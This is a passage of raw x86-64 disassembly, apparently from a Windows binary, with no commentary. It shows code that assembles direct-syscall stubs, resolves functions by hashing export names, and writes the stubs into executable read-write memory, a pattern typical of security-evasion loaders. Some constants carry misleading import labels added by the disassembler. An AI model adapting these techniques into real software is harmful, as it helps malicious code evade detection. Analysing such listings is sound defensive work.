mov dword [rsp + 0x184c], 5
mov dword [rsp + 0x1848], 0xc3
lea rax, [rsp + 0x1848]
mov qword [rsp + 0x68], rax
lea rax, [rsp + 0x184c]
mov qword [rsp + 0x60], rax
lea rax, [rsp + 0x1850]
mov qword [rsp + 0x58], rax
lea rax, [rsp + 0x1854]
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x1858]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x185c]
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x1860]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x1864]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x1868]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x186c]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x1870]
lea r8, [rsp + 0x1874]
lea rdx, [rsp + 0x1878]
mov rcx, qword [rsp + 0x8140]
call fcn.14008f900
mov byte [rsp + 0x1f9], 1
mov byte [rsp + 0x1fa], 0
movsxd rax, dword [rsp + 0x187c]
mov qword [rsp + 0x8290], rax
mov byte [rsp + 0x1fb], 0
mov byte [rsp + 0x1fc], 0
mov rax, qword [rsp + 0x8148]
mov qword [rsp + 0x8298], rax
mov byte [rsp + 0x1fd], 0
mov byte [rsp + 0x1fe], 0
mov rax, qword [rsp + 0x8150]
mov qword [rsp + 0x82a0], rax
mov byte [rsp + 0x1ff], 0
mov byte [rsp + 0x200], 0
mov rax, qword [rsp + 0x8158]
mov qword [rsp + 0x82a8], rax
mov eax, dword [rsp + 0x6320]
mov dword [rsp + 0x1880], eax
lea rax, [0x1404d0cf0]
mov rdx, rax
lea rcx, [rsp + 0xe630]
call fcn.14009a050
lea rax, [0x1404d0cf0]
add rax, 8
mov qword [rsp + 0x8160], rax
lea r8, [rsp + 0x1880]
lea rdx, [rsp + 0x5370]
mov rcx, qword [rsp + 0x8160]
call fcn.140096f50
lea rax, [0x1404d0cf0]
add rax, 8
mov qword [rsp + 0x8168], rax
lea rdx, [rsp + 0xde08]
mov rcx, qword [rsp + 0x8168]
call fcn.140190560
mov rdx, rax
lea rcx, [rsp + 0x5370]
call fcn.1400a2a70
movzx eax, al
test eax, eax
je 0x1401281b2
mov qword [rsp + 0x5378], 0
jmp 0x1401281cb
lea rcx, [rsp + 0x5370]
call fcn.1400a2c30
mov rax, qword [rax + 8]
mov qword [rsp + 0x5378], rax
mov rax, qword [rsp + 0x5378]
mov qword [rsp + 0x8170], rax
lea rcx, [rsp + 0xe630]
call fcn.1400a0f10
mov rax, qword [rsp + 0x8170]
mov qword [rsp + 0x5380], rax
cmp qword [rsp + 0x5380], 0
je 0x140128228
mov rax, qword [rsp + 0x5380]
mov eax, dword [rax + 4]
mov dword [rsp + 0x1888], eax
mov eax, dword [rsp + 0x1888]
mov dword [rsp + 0x6324], eax
jmp 0x140128cb6
lea rax, [rsp + 0xcf70]
mov qword [rsp + 0x8178], rax
xor edx, edx
mov rcx, qword [rsp + 0x8178]
call fcn.14009b2f0
mov eax, dword [rax]
mov dword [rsp + 0x188c], eax
lea rax, [rsp + 0xcf74]
mov qword [rsp + 0x8180], rax
mov edx, dword [rsp + 0x6320]
mov rcx, qword [rsp + 0x8180]
call fcn.14009b2f0
mov eax, dword [rax]
mov dword [rsp + 0x1890], eax
mov eax, dword [rsp + 0x188c]
mov dword [rsp + 0x888], eax
mov eax, dword [rsp + 0x1890]
mov dword [rsp + 0x8a0], eax
xor edx, edx
lea rcx, [rsp + 0x1894]
call fcn.14009b2f0
lea rdx, [rsp + 0x1894]
lea rcx, [rsp + 0x8a0]
call fcn.1400a2ab0
movzx eax, al
test eax, eax
je 0x1401282d5
mov qword [rsp + 0x1230], 0
jmp 0x140128bd4
mov byte [rsp + 0x201], 1
mov qword [rsp + 0x6d40], 0
mov qword [rsp + 0x6d48], 0
call fcn.1401956d0
add rax, 0x10
mov qword [rsp + 0x3ce0], rax
mov eax, 1
test eax, eax
je 0x140128327
mov rax, qword [rsp + 0x3ce0]
mov rax, qword [rax]
mov rax, qword [rax]
mov qword [rsp + 0x5388], rax
jmp 0x14012833a
mov rax, qword [rsp + 0x3ce0]
mov rax, qword [rax]
mov qword [rsp + 0x5388], rax
mov rax, qword [rsp + 0x5388]
mov qword [rsp + 0x6d40], rax
mov rax, qword [rsp + 0x3ce0]
mov qword [rsp + 0x6d48], rax
lea rax, [rsp + 0x6d40]
mov qword [rsp + 0x5390], rax
lea rdx, [rsp + 0x1228]
mov rcx, qword [rsp + 0x5390]
call fcn.14018efb0
lea rdx, [rsp + 0x8188]
mov rcx, qword [rsp + 0x5390]
call fcn.140190a30
jmp 0x1401283a9
mov rax, qword [rsp + 0x1228]
mov rax, qword [rax]
mov qword [rsp + 0x1228], rax
mov rax, qword [rsp + 0x8188]
cmp qword [rsp + 0x1228], rax
je 0x1401283c8
mov dword [rsp + 0x880], 1
jmp 0x1401283d3
mov dword [rsp + 0x880], 0
movzx eax, byte [rsp + 0x880]
test eax, eax
je 0x140128bc8
xor edx, edx
mov rcx, qword [rsp + 0x1228]
call fcn.140096d90
mov qword [rsp + 0x8190], rax
lea rax, [rsp + 0x8190]
mov qword [rsp + 0x5398], rax
xor edx, edx
lea rcx, [rsp + 0x1898]
call fcn.14009b2f0
lea rdx, [rsp + 0x1898]
lea rcx, [rsp + 0x888]
call fcn.1400a2ab0
movzx eax, al
test eax, eax
jne 0x140128673
mov rax, qword [rsp + 0x5398]
mov rax, qword [rax]
add rax, 0x58
mov qword [rsp + 0x8198], rax
lea rdx, [rsp + 0x12398]
mov rcx, qword [rsp + 0x8198]
call fcn.14019acf0
lea rcx, [rsp + 0xe640]
mov rdi, rcx
mov rsi, rax
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
mov eax, dword [rsp + 0x888]
mov dword [rsp + 0x189c], eax
lea rax, [rsp + 0xd1d0]
lea rcx, [rsp + 0xe640]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
mov eax, dword [rsp + 0x189c]
mov dword [rsp + 0x890], eax
lea rax, [rsp + 0x18a0]
mov rdi, rax
xor eax, eax
mov ecx, 4
rep stosb byte [rdi], al
lea rcx, [rsp + 0x18a0]
call fcn.14009b310
mov qword [rsp + 0x81a0], rax
lea rax, [rsp + 0xe650]
lea rcx, [rsp + 0xd1d0]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0xe660]
lea rcx, [rsp + 0xe650]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rdx, [rsp + 0xe660]
mov rcx, qword [rsp + 0x81a0]
call fcn.140097890
mov dword [rsp + 0x18a8], eax
lea rcx, [rsp + 0xd1d0]
call fcn.14018df50
sub rax, 4
mov qword [rsp + 0x81a8], rax
mov r9, qword [rsp + 0x81a8]
xor r8d, r8d
lea rdx, [rsp + 0xe670]
lea rcx, [rsp + 0xd1d0]
call fcn.14019ab70
lea rax, [rsp + 0x18a4]
mov rdi, rax
xor eax, eax
mov ecx, 4
rep stosb byte [rdi], al
lea rcx, [rsp + 0x18a4]
call fcn.14009b310
mov qword [rsp + 0x81b0], rax
lea rax, [rsp + 0xe680]
lea rcx, [rsp + 0xe670]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0xe690]
lea rcx, [rsp + 0xe680]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rdx, [rsp + 0xe690]
mov rcx, qword [rsp + 0x81b0]
call fcn.140097890
mov dword [rsp + 0x18b0], eax
mov edx, dword [rsp + 0x18a8]
lea rcx, [rsp + 0x18ac]
call fcn.14009b2f0
lea rdx, [rsp + 0x18ac]
lea rcx, [rsp + 0x890]
call fcn.1400a2ab0
movzx eax, al
test eax, eax
jne 0x140128657
mov edx, dword [rsp + 0x18b0]
lea rcx, [rsp + 0x18b4]
call fcn.14009b2f0
lea rdx, [rsp + 0x18b4]
lea rcx, [rsp + 0x890]
call fcn.1400a2ab0
movzx eax, al
test eax, eax
jne 0x140128657
mov dword [rsp + 0x898], 1
jmp 0x140128662
mov dword [rsp + 0x898], 0
movzx eax, byte [rsp + 0x898]
test eax, eax
je 0x140128673
jmp 0x140128396
mov rax, qword [rsp + 0x5398]
mov rax, qword [rax]
mov rax, qword [rax + 0x30]
mov qword [rsp + 0x53a0], rax
mov rax, qword [rsp + 0x53a0]
mov qword [rsp + 0x4398], rax
mov rax, qword [rsp + 0x53a0]
mov qword [rsp + 0x81b8], rax
mov rax, qword [rsp + 0x81b8]
mov rcx, rax
call fcn.140097970
add rax, 0x18
mov qword [rsp + 0x81c0], rax
mov rax, qword [rsp + 0x81c0]
mov rax, qword [rax + 0x70]
mov qword [rsp + 0x81c8], rax
mov eax, dword [rsp + 0x81c8]
add rax, qword [rsp + 0x4398]
mov qword [rsp + 0x81d0], rax
mov rax, qword [rsp + 0x81d0]
mov qword [rsp + 0x43a0], rax
lea rdx, [rsp + 0x8a0]
lea rcx, [rsp + 0xcf78]
call fcn.1400986a0
mov r8d, dword [rax]
lea rdx, [rsp + 0x11b10]
lea rcx, [rsp + 0x4398]
call fcn.140097040
lea rdx, [rsp + 0x13650]
lea rcx, [rsp + 0x4398]
call fcn.1401906d0
mov rdx, rax
lea rcx, [rsp + 0x11b10]
call fcn.1400a2af0
movzx eax, al
test eax, eax
je 0x14012875f
jmp 0x140128396
mov eax, reloc.WLDAP32.dll_Ordinal_32
mov eax, eax
mov ecx, dword [0x1404d6060]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
mov eax, dword [rcx + rax]
and eax, 1
test eax, eax
jne 0x1401287e2
mov eax, reloc.WLDAP32.dll_Ordinal_32
mov eax, eax
mov ecx, dword [0x1404d6060]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
mov eax, dword [rcx + rax]
or eax, 1
mov ecx, dword [0x1404d6060]
mov rdx, qword gs:[0x58]
mov edi, reloc.WLDAP32.dll_Ordinal_32
mov edi, edi
mov rcx, qword [rdx + rcx*8]
mov dword [rdi + rcx], eax
mov eax, 8
mov eax, eax
mov ecx, dword [0x1404d6060]
mov rdx, qword gs:[0x58]
add rax, qword [rdx + rcx*8]
mov rcx, rax
call fcn.140091670
lea rax, [rsp + 0x11b20]
mov qword [rsp + 0x53a8], rax
mov rcx, qword [rsp + 0x53a8]
call fcn.140097960
mov qword [rsp + 0xde10], rax
mov rcx, qword [rsp + 0x53a8]
call fcn.140097950
mov qword [rsp + 0x3cf0], rax
mov rax, qword [rsp + 0x3cf0]
mov rax, qword [rax]
mov qword [rsp + 0x53c0], rax
mov rax, qword [rsp + 0x4398]
mov qword [rsp + 0x81d8], rax
mov rax, qword [rsp + 0x81d8]
mov rcx, rax
call fcn.140097970
add rax, 0x18
mov qword [rsp + 0x81e0], rax
mov rax, qword [rsp + 0x81e0]
mov rax, qword [rax + 0x70]
mov qword [rsp + 0x53b0], rax
mov eax, dword [rsp + 0x53b0]
add rax, qword [rsp + 0x4398]
mov qword [rsp + 0x53b8], rax
mov eax, dword [rsp + 0x53b4]
mov rcx, qword [rsp + 0x53b8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x81e8], rax
mov rax, qword [rsp + 0x53b8]
cmp qword [rsp + 0x53c0], rax
jb 0x1401288d4
mov rax, qword [rsp + 0x81e8]
cmp qword [rsp + 0x53c0], rax
jae 0x1401288d4
mov dword [rsp + 0x8a8], 1
jmp 0x1401288df
mov dword [rsp + 0x8a8], 0
movzx eax, byte [rsp + 0x8a8]
mov byte [rsp + 0xe0], al
movzx eax, byte [rsp + 0xe0]
test eax, eax
je 0x140128bae
mov rax, qword [rsp + 0x3cf0]
mov rax, qword [rax]
mov qword [rsp + 0x81f0], rax
mov rax, qword [rsp + 0x81f0]
mov qword [rsp + 0x81f8], rax
lea rax, [rsp + 0x123a8]
mov qword [rsp + 0x8200], rax
mov rdx, qword [rsp + 0x81f8]
mov rcx, qword [rsp + 0x8200]
call fcn.140095590
lea rcx, [rsp + 0x6d50]
mov rdi, rcx
mov rsi, rax
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
xor r8d, r8d
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rsp + 0x6d50]
call fcn.140191090
mov qword [rsp + 0x3ce8], rax
cmp qword [rsp + 0x3ce8], 0xffffffffffffffff
je 0x1401289e9
mov r9, qword [rsp + 0x3ce8]
xor r8d, r8d
lea rdx, [rsp + 0xe6b0]
lea rcx, [rsp + 0x6d50]
call fcn.14019aaa0
mov rax, qword [rsp + 0x3ce8]
inc rax
mov r9, 0xffffffffffffffff
mov r8, rax
lea rdx, [rsp + 0xe6a0]
lea rcx, [rsp + 0x6d50]
call fcn.14019aaa0
lea r8, [rsp + 0xe6a0]
lea rdx, [rsp + 0xe6b0]
lea rcx, [rsp + 0x10ff0]
call fcn.14008f7e0
jmp 0x140128a24
lea rax, [rsp + 0x6d50]
mov qword [rsp + 0x8208], rax
lea rcx, [rsp + 0xe6c0]
call fcn.140099fb0
lea r8, [rsp + 0xe6c0]
mov rdx, qword [rsp + 0x8208]
lea rcx, [rsp + 0x10ff0]
call fcn.14008f7e0
nop
lea rcx, [rsp + 0x10ff0]
call fcn.140097960
mov qword [rsp + 0x8210], rax
lea rcx, [rsp + 0x10ff0]
call fcn.140097950
mov qword [rsp + 0x8228], rax
lea rax, [rsp + 0xcf7c]
mov qword [rsp + 0x8220], rax
lea rax, [rsp + 0x18b8]
mov rdi, rax
xor eax, eax
mov ecx, 4
rep stosb byte [rdi], al
lea rcx, [rsp + 0x18b8]
call fcn.14009b310
mov qword [rsp + 0x8218], rax
lea rax, [rsp + 0xe6d0]
mov rdi, rax
mov rsi, qword [rsp + 0x8210]
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0xe6e0]
lea rcx, [rsp + 0xe6d0]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rdx, [rsp + 0xe6e0]
mov rcx, qword [rsp + 0x8218]
call fcn.1400977d0
mov edx, eax
mov rcx, qword [rsp + 0x8220]
call fcn.14009b2f0
mov eax, dword [rax]
mov dword [rsp + 0x18c0], eax
lea rax, [rsp + 0xcf80]
mov qword [rsp + 0x8238], rax
lea rax, [rsp + 0x18bc]
mov rdi, rax
xor eax, eax
mov ecx, 4
rep stosb byte [rdi], al
lea rcx, [rsp + 0x18bc]
call fcn.14009b310
mov qword [rsp + 0x8230], rax
lea rax, [rsp + 0xe6f0]
mov rdi, rax
mov rsi, qword [rsp + 0x8228]
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0xe700]
lea rcx, [rsp + 0xe6f0]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rdx, [rsp + 0xe700]
mov rcx, qword [rsp + 0x8230]
call fcn.1400977d0
mov edx, eax
mov rcx, qword [rsp + 0x8238]
call fcn.14009b2f0
mov eax, dword [rax]
mov dword [rsp + 0x18c4], eax
mov r8d, dword [rsp + 0x18c0]
mov edx, dword [rsp + 0x18c4]
lea rcx, [rsp + 0x3cf8]
call fcn.140191150
mov qword [rsp + 0x1230], rax
jmp 0x140128bd4
mov rax, qword [rsp + 0x3cf0]
mov rax, qword [rax]
mov qword [rsp + 0x1230], rax
jmp 0x140128bd4
mov qword [rsp + 0x1230], 0
mov rax, qword [rsp + 0x1230]
mov qword [rsp + 0x3cf8], rax
lea rcx, [rsp + 0x3cf8]
call fcn.1400a2c10
mov qword [rsp + 0x8240], rax
mov eax, dword [rsp + 0x6320]
mov dword [rsp + 0x18c8], eax
mov rax, qword [rsp + 0x8240]
mov qword [rsp + 0x8248], rax
mov eax, dword [rsp + 0x18c8]
mov dword [rsp + 0x18d0], eax
lea rax, [0x1404d0cf0]
mov rdx, rax
lea rcx, [rsp + 0xe710]
call fcn.14009a190
lea rax, [0x1404d0cf0]
add rax, 8
mov qword [rsp + 0x8250], rax
lea r9, [rsp + 0x8248]
lea r8, [rsp + 0x18d0]
lea rdx, [rsp + 0x123b8]
mov rcx, qword [rsp + 0x8250]
call fcn.140098320
lea rcx, [rsp + 0xe710]
call fcn.1400a0f80
lea rcx, [rsp + 0x3cf8]
call fcn.1400a2c10
mov qword [rsp + 0x8258], rax
mov rax, qword [rsp + 0x8258]
mov eax, dword [rax + 4]
mov dword [rsp + 0x18d8], eax
mov eax, dword [rsp + 0x18d8]
mov dword [rsp + 0x6324], eax
lea rax, [rsp + 0x6328]
mov qword [rsp + 0x8260], rax
mov eax, dword [rsp + 0x6324]
mov dword [rsp + 0x18e0], eax
mov rax, qword [rsp + 0x8260]
add rax, 0x11
mov qword [rsp + 0x8268], rax
mov eax, 6
mov edx, eax
mov rcx, qword [rsp + 0x8268]
call fcn.1400a2b40
mov ecx, dword [rsp + 0x18e0]
mov dword [rax], ecx
lea rax, [rsp + 0x6328]
mov qword [rsp + 0x5a0], rax
mov rax, qword [rsp + 0x5a0]
add rax, 0x10
mov qword [rsp + 0xde18], rax
mov rax, qword [0x1404d0cd8]
mov qword [rsp + 0x8270], rax
mov qword [rsp + 0x53c8], 0
mov qword [rsp + 0x8278], 0xd
mov rax, qword [rsp + 0x8270]
mov qword [rsp + 0x8280], rax
mov eax, 0x3000
and eax, 0xffffffc0
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], eax
lea r9, [rsp + 0x8278]
xor r8d, r8d
lea rdx, [rsp + 0x53c8]
mov rcx, 0xffffffffffffffff
call qword [rsp + 0x8280]
mov dword [rsp + 0x18e8], eax
cmp dword [rsp + 0x18e8], 0
jl 0x140128db8
mov rax, qword [rsp + 0x53c8]
mov qword [rsp + 0x53d0], rax
jmp 0x140128dc4
mov qword [rsp + 0x53d0], 0
mov rax, qword [rsp + 0x53d0]
mov qword [rsp + 0x8288], rax
mov rax, qword [rsp + 0x5a0]
mov rcx, qword [rsp + 0x8288]
mov qword [rax + 8], rcx
mov rax, qword [rsp + 0x5a0]
cmp qword [rax + 8], 0
jne 0x140128df9
jmp 0x140128e3d
mov rax, qword [rsp + 0x5a0]
add rax, 0x11
mov rcx, rax
call fcn.140097960
mov rcx, qword [rsp + 0x5a0]
mov rcx, qword [rcx + 8]
mov rdi, rcx
mov rsi, rax
mov ecx, reloc.WS2_32.dll_listen
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x5a0]
mov rcx, qword [rsp + 0x5a0]
mov rcx, qword [rcx + 8]
mov qword [rax], rcx
mov rax, qword [rsp + 0x6328]
mov qword [rsp + 0x82b0], rax
mov r9, qword [rsp + 0x8290]
mov r8, qword [rsp + 0x8298]
mov rdx, qword [rsp + 0x82a0]
mov rcx, qword [rsp + 0x82a8]
call qword [rsp + 0x82b0]
mov dword [rsp + 0xcf84], eax
lea rcx, [rsp + 0x6320]
call fcn.1400a0ed0
cmp qword [rsp + 0x3d00], 0
jne 0x140128ea0
mov dword [rsp + 0x74], 0
jmp 0x1401344d1
mov qword [rsp + 0x3d28], 0
lea rax, [rsp + 0x3d28]
mov qword [rsp + 0x53e0], rax
mov rax, qword [rsp + 0x3d00]
add rax, 8
mov qword [rsp + 0x53d8], rax
mov rax, qword [rsp + 0x170]
mov qword [rsp + 0x82f8], rax
cmp qword [rsp + 0x53e0], 0
je 0x140128efe
cmp qword [rsp + 0x53d8], 0
je 0x140128efe
xor eax, eax
cmp rax, 8
jne 0x140128f08
mov byte [rsp + 0x78], 0
jmp 0x14012a061
lea rax, [rsp + 0xd7a0]
mov rdi, rax
xor eax, eax
mov ecx, Ordinal_41
rep stosb byte [rdi], al
mov qword [rsp + 0xd7a0], 0x33
mov rax, qword [rsp + 0x53d8]
mov qword [rsp + 0xd7b0], rax
mov rax, qword [rsp + 0x53e0]
mov qword [rsp + 0xd7b8], rax
mov qword [rsp + 0xd7c0], 8
mov dword [rsp + 0x192c], 0
mov qword [rsp + 0x82c0], 0
mov qword [rsp + 0x82c8], 0x28
lea rax, [rsp + 0xd7a0]
mov qword [rsp + 0x82d0], rax
lea rax, [rsp + 0x123c8]
mov qword [rsp + 0x82d8], rax
mov qword [rsp + 0x82e0], 0
mov qword [rsp + 0x82e8], 0
mov qword [rsp + 0x82f0], 0
mov dword [rsp + 0x18ec], 0x9363e455
mov eax, dword [rsp + 0x18ec]
mov dword [rsp + 0x18f0], eax
lea rcx, [rsp + 0x18f0]
call fcn.1400a2c20
mov dword [rsp + 0x6348], eax
mov dword [rsp + 0x634c], 0
lea rax, [rsp + 0x6350]
mov qword [rsp + 0x82b8], rax
mov dword [rsp + 0x1928], 0x49
mov dword [rsp + 0x1924], 0x89
mov dword [rsp + 0x1920], 0xca
mov dword [rsp + 0x191c], 0x48
mov dword [rsp + 0x1918], 0xc7
mov dword [rsp + 0x1914], 0xc0
mov dword [rsp + 0x1910], 0x3f
mov dword [rsp + 0x190c], 0x10
mov dword [rsp + 0x1908], 0
mov dword [rsp + 0x1904], 0
mov dword [rsp + 0x1900], 0xf
mov dword [rsp + 0x18fc], 5
mov dword [rsp + 0x18f8], 0xc3
lea rax, [rsp + 0x18f8]
mov qword [rsp + 0x68], rax
lea rax, [rsp + 0x18fc]
mov qword [rsp + 0x60], rax
lea rax, [rsp + 0x1900]
mov qword [rsp + 0x58], rax
lea rax, [rsp + 0x1904]
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x1908]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x190c]
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x1910]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x1914]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x1918]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x191c]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x1920]
lea r8, [rsp + 0x1924]
lea rdx, [rsp + 0x1928]
mov rcx, qword [rsp + 0x82b8]
call fcn.14008f900
mov byte [rsp + 0x202], 1
mov byte [rsp + 0x203], 0
movsxd rax, dword [rsp + 0x192c]
mov qword [rsp + 0x8430], rax
mov byte [rsp + 0x204], 0
mov byte [rsp + 0x205], 0
mov rax, qword [rsp + 0x82c0]
mov qword [rsp + 0x8438], rax
mov byte [rsp + 0x206], 0
mov byte [rsp + 0x207], 1
mov rax, qword [rsp + 0x82c8]
mov qword [rsp + 0x8440], rax
mov byte [rsp + 0x208], 0
mov byte [rsp + 0x209], 0
mov rax, qword [rsp + 0x82d0]
mov qword [rsp + 0x8448], rax
mov byte [rsp + 0x20a], 0
mov byte [rsp + 0x20b], 1
mov eax, dword [0x1403f9fa8]
mov qword [rsp + 0x8450], rax
mov byte [rsp + 0x20c], 0
mov byte [rsp + 0x20d], 0
mov rax, qword [rsp + 0x82d8]
mov qword [rsp + 0x8458], rax
mov byte [rsp + 0x20e], 0
mov byte [rsp + 0x20f], 0
mov rax, qword [rsp + 0x82e0]
mov qword [rsp + 0x8460], rax
mov byte [rsp + 0x210], 0
mov byte [rsp + 0x211], 0
mov rax, qword [rsp + 0x82e8]
mov qword [rsp + 0x8468], rax
mov byte [rsp + 0x212], 0
mov byte [rsp + 0x213], 0
mov rax, qword [rsp + 0x82f0]
mov qword [rsp + 0x8470], rax
mov byte [rsp + 0x214], 0
mov byte [rsp + 0x215], 0
mov rax, qword [rsp + 0x82f8]
mov qword [rsp + 0x8478], rax
mov eax, dword [rsp + 0x6348]
mov dword [rsp + 0x1930], eax
lea rax, [0x1404d0cf0]
mov rdx, rax
lea rcx, [rsp + 0xe720]
call fcn.14009a050
lea rax, [0x1404d0cf0]
add rax, 8
mov qword [rsp + 0x8300], rax
lea r8, [rsp + 0x1930]
lea rdx, [rsp + 0x53e8]
mov rcx, qword [rsp + 0x8300]
call fcn.140096f50
lea rax, [0x1404d0cf0]
add rax, 8
mov qword [rsp + 0x8308], rax
lea rdx, [rsp + 0xde20]
mov rcx, qword [rsp + 0x8308]
call fcn.140190560
mov rdx, rax
lea rcx, [rsp + 0x53e8]
call fcn.1400a2a70
movzx eax, al
test eax, eax
je 0x140129319
mov qword [rsp + 0x53f0], 0
jmp 0x140129332
lea rcx, [rsp + 0x53e8]
call fcn.1400a2c30
mov rax, qword [rax + 8]
mov qword [rsp + 0x53f0], rax
mov rax, qword [rsp + 0x53f0]
mov qword [rsp + 0x8310], rax
lea rcx, [rsp + 0xe720]
call fcn.1400a0f10
mov rax, qword [rsp + 0x8310]
mov qword [rsp + 0x53f8], rax
cmp qword [rsp + 0x53f8], 0
je 0x14012938f
mov rax, qword [rsp + 0x53f8]
mov eax, dword [rax + 4]
mov dword [rsp + 0x1938], eax
mov eax, dword [rsp + 0x1938]
mov dword [rsp + 0x634c], eax
jmp 0x140129e1d
lea rax, [rsp + 0xcf88]
mov qword [rsp + 0x8318], rax
xor edx, edx
mov rcx, qword [rsp + 0x8318]
call fcn.14009b2f0
mov eax, dword [rax]
mov dword [rsp + 0x193c], eax
lea rax, [rsp + 0xcf8c]
mov qword [rsp + 0x8320], rax
mov edx, dword [rsp + 0x6348]
mov rcx, qword [rsp + 0x8320]
call fcn.14009b2f0
mov eax, dword [rax]
mov dword [rsp + 0x1940], eax
mov eax, dword [rsp + 0x193c]
mov dword [rsp + 0x8b0], eax
mov eax, dword [rsp + 0x1940]
mov dword [rsp + 0x8c8], eax
xor edx, edx
lea rcx, [rsp + 0x1944]
call fcn.14009b2f0
lea rdx, [rsp + 0x1944]
lea rcx, [rsp + 0x8c8]
call fcn.1400a2ab0
movzx eax, al
test eax, eax
je 0x14012943c
mov qword [rsp + 0x1240], 0
jmp 0x140129d3b
mov byte [rsp + 0x216], 1
mov qword [rsp + 0x6d60], 0
mov qword [rsp + 0x6d68], 0
call fcn.1401956d0
add rax, 0x10
mov qword [rsp + 0x3d08], rax
mov eax, 1
test eax, eax
je 0x14012948e
mov rax, qword [rsp + 0x3d08]
mov rax, qword [rax]
mov rax, qword [rax]
mov qword [rsp + 0x5400], rax
jmp 0x1401294a1
mov rax, qword [rsp + 0x3d08]
mov rax, qword [rax]
mov qword [rsp + 0x5400], rax
mov rax, qword [rsp + 0x5400]
mov qword [rsp + 0x6d60], rax
mov rax, qword [rsp + 0x3d08]
mov qword [rsp + 0x6d68], rax
lea rax, [rsp + 0x6d60]
mov qword [rsp + 0x5408], rax
lea rdx, [rsp + 0x1238]
mov rcx, qword [rsp + 0x5408]
call fcn.14018efb0
lea rdx, [rsp + 0x8328]
mov rcx, qword [rsp + 0x5408]
call fcn.140190a30
jmp 0x140129510
mov rax, qword [rsp + 0x1238]
mov rax, qword [rax]
mov qword [rsp + 0x1238], rax
mov rax, qword [rsp + 0x8328]
cmp qword [rsp + 0x1238], rax
je 0x14012952f
mov dword [rsp + 0x8ac], 1
jmp 0x14012953a
mov dword [rsp + 0x8ac], 0
movzx eax, byte [rsp + 0x8ac]
test eax, eax
je 0x140129d2f
xor edx, edx
mov rcx, qword [rsp + 0x1238]
call fcn.140096d90
mov qword [rsp + 0x8330], rax
lea rax, [rsp + 0x8330]
mov qword [rsp + 0x5410], rax
xor edx, edx
lea rcx, [rsp + 0x1948]
call fcn.14009b2f0
lea rdx, [rsp + 0x1948]
lea rcx, [rsp + 0x8b0]
call fcn.1400a2ab0
movzx eax, al
test eax, eax
jne 0x1401297da
mov rax, qword [rsp + 0x5410]
mov rax, qword [rax]
add rax, 0x58
mov qword [rsp + 0x8338], rax
lea rdx, [rsp + 0x123d8]
mov rcx, qword [rsp + 0x8338]
call fcn.14019acf0
lea rcx, [rsp + 0xe730]
mov rdi, rcx
mov rsi, rax
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
mov eax, dword [rsp + 0x8b0]
mov dword [rsp + 0x194c], eax
lea rax, [rsp + 0xd1e0]
lea rcx, [rsp + 0xe730]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
mov eax, dword [rsp + 0x194c]
mov dword [rsp + 0x8b8], eax
lea rax, [rsp + 0x1950]
mov rdi, rax
xor eax, eax
mov ecx, 4
rep stosb byte [rdi], al
lea rcx, [rsp + 0x1950]
call fcn.14009b310
mov qword [rsp + 0x8340], rax
lea rax, [rsp + 0xe740]
lea rcx, [rsp + 0xd1e0]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0xe750]
lea rcx, [rsp + 0xe740]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rdx, [rsp + 0xe750]
mov rcx, qword [rsp + 0x8340]
call fcn.140097890
mov dword [rsp + 0x1958], eax
lea rcx, [rsp + 0xd1e0]
call fcn.14018df50
sub rax, 4
mov qword [rsp + 0x8348], rax
mov r9, qword [rsp + 0x8348]
xor r8d, r8d
lea rdx, [rsp + 0xe760]
lea rcx, [rsp + 0xd1e0]
call fcn.14019ab70
lea rax, [rsp + 0x1954]
mov rdi, rax
xor eax, eax
mov ecx, 4
rep stosb byte [rdi], al
lea rcx, [rsp + 0x1954]
call fcn.14009b310
mov qword [rsp + 0x8350], rax
lea rax, [rsp + 0xe770]
lea rcx, [rsp + 0xe760]
mov rdi, rax
mov rsi, rcx
